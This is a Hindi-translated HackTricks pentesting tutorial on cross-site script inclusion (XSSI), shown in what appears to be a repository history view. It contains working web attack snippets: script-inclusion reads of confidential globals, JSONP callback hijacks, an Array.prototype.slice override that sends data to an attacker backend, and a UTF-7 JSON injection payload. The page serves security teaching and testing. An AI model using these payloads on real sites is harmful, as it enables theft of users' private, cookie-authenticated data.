hacktricks/pentesting-web/xssi-cross-site-script-inclusion.md

111 lines
16 KiB
Markdown
Raw Normal View History

2023-11-06 08:38:02 +00:00
# XSSI (क्रॉस-साइट स्क्रिप्ट समावेश)
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-11-06 08:38:02 +00:00
* क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की आवश्यकता है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
* खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष संग्रह [**NFTs**](https://opensea.io/collection/the-peass-family)
* प्राप्त करें [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **Twitter** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें और PRs सबमिट करें** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **को**
2022-04-28 16:01:33 +00:00
</details>
2023-11-06 08:38:02 +00:00
#### जानकारी [https://www.scip.ch/en/?labs.20160414](https://www.scip.ch/en/?labs.20160414) से ली गई थी
2022-04-28 16:01:33 +00:00
2023-11-06 08:38:02 +00:00
## मूलभूत जानकारी
2023-11-06 08:38:02 +00:00
XSSI एक ऐसे सुरक्षा दुरुपयोग को निरूपित करता है जो यह उपयोग करता है कि, जब एक **संसाधन `script` टैग का उपयोग करके समावेश किया जाता है, SOP लागू नहीं होता है**, क्योंकि स्क्रिप्ट को क्रॉस-डोमेन में समावेश किया जा सकना चाहिए। इसलिए, एक हमलावर ऐसा कर सकता है कि वह सभी कुछ पढ़ सकता है जो **`script` टैग** का उपयोग करके समावेश किया गया था।
2023-11-06 08:38:02 +00:00
यह विशेष रूप से रुचिकर होता है जब यह डाइनामिक जावास्क्रिप्ट या JSONP के साथ संबंधित होता है, जब ऐसे संबंधित संसाधन का अनुरोध करते समय कुकीज़ जैसी वातावरण-अधिकारिता जानकारी का उपयोग किया जाता है। कुकीज़ एक अलग होस्ट से संसाधन का अनुरोध करते समय समावेश किए जाते हैं।
2023-11-06 08:38:02 +00:00
### प्रकार
2023-11-06 08:38:02 +00:00
1. स्थिर जावास्क्रिप्ट (नियमित XSSI)
2. स्थिर जावास्क्रिप्ट, जो केवल प्रमाणीकरण के समय ही पहुंचने योग्य है
3. गतिशील जावास्क्रिप्ट
4. गैर-जावास्क्रिप्ट
2023-11-06 08:38:02 +00:00
## नियमित XSSI
2023-11-06 08:38:02 +00:00
निजी जानकारी एक वैश्विक एक्सेस योग्य JS फ़ाइल में स्थित होती है, आप फ़ाइलें पढ़कर, खोज करके या रेजेक्स का उपयोग करके इसे आसानी से पता लगा सकते हैं।\
इसे शोषण करने के लिए, केवल निजी जानकारी वाले स्क्रिप्ट को दुष्ट सामग्री में समाविष्ट करें:
```markup
<script src="https://www.vulnerable-domain.tld/script.js"></script>
<script> alert(JSON.stringify(confidential_keys[0])); </script>
```
2023-11-06 08:38:02 +00:00
## डायनामिक-जावास्क्रिप्ट-आधारित-एक्सएसएसआई और प्रमाणीकृत-जावास्क्रिप्ट-एक्सएसएसआई
2023-11-06 08:38:02 +00:00
**जब एक उपयोगकर्ता इसे अनुरोध करता है, तो स्क्रिप्ट में गोपनीय जानकारी जोड़ी जाती है।** इसे आसानी से खोजा जा सकता है जब आप अनुरोध को **कुकीज के साथ और बिना कुकीज के** भेजते हैं, यदि **अलग-अलग जानकारी** प्राप्त होती है, तो गोपनीय जानकारी शामिल हो सकती है। इसे स्वचालित रूप से करने के लिए आप बर्प एक्सटेंशन का उपयोग कर सकते हैं: [https://github.com/luh2/DetectDynamicJS](https://github.com/luh2/DetectDynamicJS).
2023-11-06 08:38:02 +00:00
यदि जानकारी एक ग्लोबल वेरिएबल में संग्रहीत है, तो आप पिछले मामले के लिए उसी कोड का उपयोग करके इसे शोषण कर सकते हैं।\
यदि गोपनीय डेटा JSONP प्रतिक्रिया के भीतर भेजा जाता है, तो आप जानकारी प्राप्त करने के लिए निष्पादित फ़ंक्शन को ओवरराइड कर सकते हैं:
```markup
<script>
2023-11-06 08:38:02 +00:00
//The confidential info will be inside the callback to angular.callbacks._7: angular.callbacks._7({"status":STATUS,"body":{"demographics":{"email":......}}})
var angular = function () { return 1; };
angular.callbacks = function () { return 1; };
angular.callbacks._7 = function (leaked) {
alert(JSON.stringify(leaked));
};
</script>
<script src="https://site.tld/p?jsonp=angular.callbacks._7" type="text/javascript"></script>
```
2023-11-06 08:38:02 +00:00
या आप JSONP प्रतिक्रिया द्वारा निष्पादित करने के लिए तैयार की गई फ़ंक्शन को सेट कर सकते हैं:
```markup
<script>
2023-11-06 08:38:02 +00:00
leak = function (leaked) {
alert(JSON.stringify(leaked));
};
</script>
<script src="https://site.tld/p?jsonp=leak" type="text/javascript"></script>
```
2023-11-06 08:38:02 +00:00
यदि एक चर ग्लोबल नेमस्पेस में स्थित नहीं होता है, तो कभी-कभी इसे _प्रोटोटाइप तंग करने_ का उपयोग करके भी उत्पन्न किया जा सकता है। प्रोटोटाइप तंग करने का उपयोग जावास्क्रिप्ट के डिजाइन का दुरुपयोग करता है, अर्थात जब कोड का अनुवाद किया जाता है, तो जावास्क्रिप्ट प्रोटोटाइप चेन को ट्रावर्स करके बुलाए गए प्रॉपर्टी को ढूंढता है। निम्नलिखित उदाहरण [डायनामिक जावास्क्रिप्ट के अप्रत्याशित खतरों](https://www.usenix.org/system/files/conference/usenixsecurity15/sec15-paper-lekies.pdf) से निकाला गया है और यह दिखाता है कि एक प्रासंगिक फ़ंक्शन को ओवरराइड करके और `this` तक पहुंच को लीक करके, एक ग्लोबल नहीं चर भी लीक किया जा सकता है।
```javascript
(function(){
2023-11-06 08:38:02 +00:00
var arr = ["secret1", "secret2", "secret3"];
// intents to slice out first entry
var x = arr.slice(1);
...
})();
```
2023-11-06 08:38:02 +00:00
वास्तविक कोड में `slice` नामक `Array` के प्रकार से हमें दिखाई देने वाले डेटा तक पहुंच होती है। एक हमलावर, पिछले अनुच्छेद में वर्णित करने के तरीके से, `slice` को अधिलेखित कर सकता है और रहस्यों को चुरा सकता है।
```javascript
Array.prototype.slice = function(){
2023-11-06 08:38:02 +00:00
// leaks ["secret1", "secret2", "secret3"]
sendToAttackerBackend(this);
};
```
2023-11-06 08:38:02 +00:00
सुरक्षा शोधकर्ता [सेबास्टियन लेकीज](https://twitter.com/slekies) हाल ही में अपनी [वेक्टरों](http://sebastian-lekies.de/leak/) की सूची को अपडेट किया।
2023-11-06 08:38:02 +00:00
## गैर-स्क्रिप्ट-XSSI
2023-11-06 08:38:02 +00:00
टाकेशी तेराडा ने अपने पेपर [पहचान आधारित XSSI हमलों](https://www.mbsd.jp/Whitepaper/xssi.pdf) में एक और प्रकार के XSSI का वर्णन किया है। उन्होंने, अन्य के बीच, `script` टैग में स्रोत के रूप में CSV फ़ाइलों को शामिल करके, डेटा को चर और फ़ंक्शन नामों के रूप में उपयोग करके, गैर-स्क्रिप्ट फ़ाइलों को क्रॉस-ओरिजिन लीक करने में सक्षम थे।
2023-11-06 08:38:02 +00:00
2006 में पहला सार्वजनिक दस्तावेजीकृत XSSI हमला हुआ था। जेरेमियाह ग्रोसमैन की ब्लॉग पोस्ट [GMail का उपयोग करके उन्नत वेब हमला तकनीकें](http://jeremiahgrossman.blogspot.ch/2006/01/advanced-web-attack-techniques-using.html) में एक XSSI का वर्णन किया गया है, जिसने `Array` कंस्ट्रक्टर को ओवरराइड करके एक गूगल अकाउंट के पूरे पता पुस्तिका को पढ़ने में सक्षम बनाया।
2023-11-06 08:38:02 +00:00
2007 में जो वॉकर ने [JSON वास्तव में लोग सोचते हैं वह सुरक्षित नहीं है](http://incompleteness.me/blog/2007/03/05/json-is-not-as-safe-as-people-think-it-is/) प्रकाशित किया। उन्होंने एक ही विचार का उपयोग करके उन एरे में स्थित JSON को चुराने का प्रयास किया।
2023-11-06 08:38:02 +00:00
अन्य संबंधित हमलों में UTF-7 कोडिंग को JSON में इंजेक्ट करके JSON प्रारूप से बचने का प्रयास किया गया। इसे गैरेथ हेयस, [हैकवर्टर](https://hackvertor.co.uk/public) के लेखक, ने 2011 में प्रकाशित ब्लॉग पोस्ट [JSON हिजैकिंग](http://www.thespanner.co.uk/2011/05/30/json-hijacking/) में वर्णित किया है। एक त्वरित परीक्षण में, यह माइक्रोसॉफ्ट इंटरनेट एक्सप्लोरर और एज में अभी भी संभव था, लेकिन मोजिला फ़ायरफ़ॉक्स या गूगल क्रोम में नहीं।
2023-11-06 08:38:02 +00:00
UTF-7 के साथ JSON:
```javascript
[{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-'}]
```
2023-11-06 08:38:02 +00:00
आक्रमक की पेज में JSON शामिल करें
```markup
<script src="http://site.tld/json-utf7.json" type="text/javascript" charset="UTF-7"></script>
```
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-11-06 08:38:02 +00:00
* क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करना चाहिए? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFT संग्रह**](https://opensea.io/collection/the-peass-family)
* [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **मुझे** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)** का** **अनुसरण** **करें।**
* **अपने हैकिंग ट्रिक्स को** [**hacktricks रेपो**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud रेपो**](https://github.com/carlospolop/hacktricks-cloud) **को PR जमा करके साझा करें।**
2022-04-28 16:01:33 +00:00
</details>